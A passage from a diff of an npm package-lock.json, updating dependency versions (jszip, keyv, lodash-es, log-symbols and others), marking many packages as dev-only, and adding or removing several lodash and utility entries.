"https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==" + }, "js-base64": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.2.tgz", @@ -7717,6 +10716,7 @@ "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, "requires": { "argparse": "^1.0.7", "esprima": "^4.0.0" @@ -7737,12 +10737,14 @@ "json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true }, "json-file-plus": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/json-file-plus/-/json-file-plus-3.3.1.tgz", "integrity": "sha512-wo0q1UuiV5NsDPQDup1Km8IwEeqe+olr8tkWxeJq9Bjtcp7DZ0l+yrg28fSC3DEtrE311mhTZ54QGS6oiqnZEA==", + "dev": true, "requires": { "is": "^3.2.1", "node.extend": "^2.0.0", @@ -7754,7 +10756,13 @@ "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" }, "json-schema": { "version": "0.2.3", @@ -7815,24 +10823,47 @@ } }, "jsx-ast-utils": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz", - "integrity": "sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz", + "integrity": "sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q==", "dev": true, "requires": { - "array-includes": "^3.0.3", - "object.assign": "^4.1.0" + "array-includes": "^3.1.2", + "object.assign": "^4.1.2" + }, + "dependencies": { + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + } } }, "jszip": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.5.0.tgz", - "integrity": "sha512-WRtu7TPCmYePR1nazfrtuF216cIVon/3GWOvHS9QR5bIwSbnxtdpma6un3jyGGNhHsKCSzn5Ypk+EkDRvTGiFA==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.6.0.tgz", + "integrity": "sha512-jgnQoG9LKnWO3mnVNBnfhkh0QknICd1FGSrXcgrl67zioyJ4wgx25o9ZqwNtrROSflGBCGYnJfjrIyRIby1OoQ==", + "dev": true, "requires": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "set-immediate-shim": "~1.0.1" + }, + "dependencies": { + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + } } }, "jwt-decode": { @@ -7846,9 +10877,10 @@ "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" }, "keyv": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.1.tgz", - "integrity": "sha512-xz6Jv6oNkbhrFCvCP7HQa8AaII8y8LRpoSm661NOKLr4uHuBwhX4epXrPQgF3+xdJnN4Esm5X0xwY4bOlALOtw==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "dev": true, "requires": { "json-buffer": "3.0.1" } @@ -7866,47 +10898,25 @@ "dev": true }, "known-css-properties": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.18.0.tgz", - "integrity": "sha512-69AgJ1rQa7VvUsd2kpvVq+VeObDuo3zrj0CzM5Slmf6yduQFAI2kXPDQJR2IE/u6MSAUOJrwSzjg5vlz8qcMiw==", + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz", + "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==", "dev": true }, "latest-version": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz", "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==", - "requires": { - "package-json": "^6.3.0" - } - }, - "lcid": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", - "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", - "dev": true, - "requires": { - "invert-kv": "^2.0.0" - } - }, - "leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true - }, - "levenary": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", - "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", "dev": true, "requires": { - "leven": "^3.1.0" + "package-json": "^6.3.0" } }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, "requires": { "prelude-ls": "~1.1.2", "type-check": "~0.3.2" @@ -7916,6 +10926,7 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dev": true, "requires": { "immediate": "~3.0.5" } @@ -7989,54 +11000,116 @@ "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" }, "lodash-es": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.15.tgz", - "integrity": "sha512-rlrc3yU3+JNOpZ9zj5pQtxnx2THmvRykwL4Xlxoa8I9lHBlVbbyPhgyPMioxVZ4NqyxaVVtaJnzsyOidQIhyyQ==" + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" }, "lodash.assign": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz", - "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=" + "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=", + "dev": true }, "lodash.assignin": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.assignin/-/lodash.assignin-4.2.0.tgz", - "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=" + "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=", + "dev": true + }, + "lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", + "dev": true + }, + "lodash.chunk": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.chunk/-/lodash.chunk-4.2.0.tgz", + "integrity": "sha1-ZuXOH3btJ7QwPYxlEujRIW6BBrw=", + "dev": true }, "lodash.clone": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz", - "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=" + "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=", + "dev": true }, "lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", + "dev": true }, "lodash.constant": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash.constant/-/lodash.constant-3.0.0.tgz", - "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=" + "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=", + "dev": true }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", + "dev": true + }, + "lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", + "dev": true + }, + "lodash.endswith": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/lodash.endswith/-/lodash.endswith-4.2.1.tgz", + "integrity": "sha1-/tWawXOO0+I27dcGTsRWRIs3vAk=", + "dev": true + }, "lodash.filter": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz", - "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=" + "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=", + "dev": true + }, + "lodash.find": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", + "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=", + "dev": true + }, + "lodash.findindex": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.findindex/-/lodash.findindex-4.6.0.tgz", + "integrity": "sha1-oyRd7mH7m24GJLU1ElYku2nBEQY=", + "dev": true + }, + "lodash.findkey": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.findkey/-/lodash.findkey-4.6.0.tgz", + "integrity": "sha1-gwWOkDtRy7dZ0JzPVG3qPqOcRxg=", + "dev": true }, "lodash.flatmap": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.flatmap/-/lodash.flatmap-4.5.0.tgz", - "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=" + "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=", + "dev": true }, "lodash.flatten": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", - "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=" + "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", + "dev": true + }, + "lodash.flattendeep": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", + "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", + "dev": true }, "lodash.flow": { "version": "3.5.0", @@ -8046,52 +11119,121 @@ "lodash.foreach": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz", - "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=" + "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=", + "dev": true }, "lodash.get": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" }, + "lodash.groupby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.groupby/-/lodash.groupby-4.6.0.tgz", + "integrity": "sha1-Cwih3PaDl8OXhVwyOXg4Mt90A9E=", + "dev": true + }, "lodash.has": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", - "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=" + "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", + "dev": true }, - "lodash.isarray": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-4.0.0.tgz", - "integrity": "sha1-KspJayjEym1yZxUxNZDALm6jRAM=" + "lodash.invert": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.invert/-/lodash.invert-4.3.0.tgz", + "integrity": "sha1-j/4g1LYW9WvqjxqgxuvYDc90Ku4=", + "dev": true + }, + "lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=", + "dev": true }, "lodash.isempty": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.isempty/-/lodash.isempty-4.4.0.tgz", - "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=" + "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=", + "dev": true }, "lodash.isequal": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", - "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" + "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=", + "dev": true }, "lodash.isfunction": { "version": "3.0.9", "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-3.0.9.tgz", - "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==" + "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==", + "dev": true + }, + "lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=", + "dev": true + }, + "lodash.isobject": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz", + "integrity": "sha1-PI+41bW/S/kK4G4U8qUwpO2TXh0=", + "dev": true + }, + "lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", + "dev": true + }, + "lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=", + "dev": true }, "lodash.isundefined": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", - "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=", + "dev": true }, "lodash.keys": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-4.2.0.tgz", - "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=" + "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=", + "dev": true + }, + "lodash.last": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lodash.last/-/lodash.last-3.0.0.tgz", + "integrity": "sha1-JC9mMRLdTG5jcoxgo8kJ0b2tvUw=", + "dev": true }, "lodash.map": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz", - "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=" + "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "lodash.omit": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", + "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=", + "dev": true + }, + "lodash.orderby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.orderby/-/lodash.orderby-4.6.0.tgz", + "integrity": "sha1-5pfwTOXXhSL1TZM4syuBozk+TrM=", + "dev": true }, "lodash.pick": { "version": "4.4.0", @@ -8101,22 +11243,38 @@ "lodash.reduce": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz", - "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=" + "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=", + "dev": true }, "lodash.set": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", - "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=" + "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", + "dev": true }, "lodash.size": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.size/-/lodash.size-4.2.0.tgz", - "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=" + "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=", + "dev": true + }, + "lodash.sortby": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", + "dev": true + }, + "lodash.sum": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/lodash.sum/-/lodash.sum-4.0.2.tgz", + "integrity": "sha1-rZDjl5ZdgD1PH/eqWy0Bl/O0Y3s=", + "dev": true }, "lodash.topairs": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.topairs/-/lodash.topairs-4.3.0.tgz", - "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=" + "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=", + "dev": true }, "lodash.topath": { "version": "4.5.2", @@ -8126,33 +11284,98 @@ "lodash.transform": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.transform/-/lodash.transform-4.6.0.tgz", - "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=" + "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=", + "dev": true + }, + "lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=", + "dev": true }, "lodash.union": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=" + "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", + "dev": true + }, + "lodash.upperfirst": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/lodash.upperfirst/-/lodash.upperfirst-4.3.1.tgz", + "integrity": "sha1-E2Xt9DFIBIHvDRxolXpe2Z1J984=", + "dev": true }, "lodash.values": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz", - "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=" + "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=", + "dev": true }, "log-symbols": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz", - "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", "dev": true, "requires": { - "chalk": "^2.4.2" - } - }, - "logic-solver": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/logic-solver/-/logic-solver-2.0.1.tgz", - "integrity": "sha1-6fpHAC612M2nYW1BY5uXVS62dL4=", - "requires": { - "underscore": "^1.7.0" + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } } }, "loglevel": { @@ -8194,12 +11417,14 @@ "lowercase-keys": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true }, "lru-cache": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, "requires": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" @@ -8208,7 +11433,8 @@ "macos-release": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.1.tgz", - "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==" + "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==", + "dev": true }, "make-dir": { "version": "2.1.0", @@ -8228,15 +11454,6 @@ } } }, - "map-age-cleaner": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", - "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", - "dev": true, - "requires": { - "p-defer": "^1.0.0" - } - }, "map-cache": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", @@ -8258,26 +11475,28 @@ "object-visit": "^1.0.0" } }, - "markdown-escapes": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz", - "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg==", - "dev": true - }, - "markdown-table": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", - "integrity": 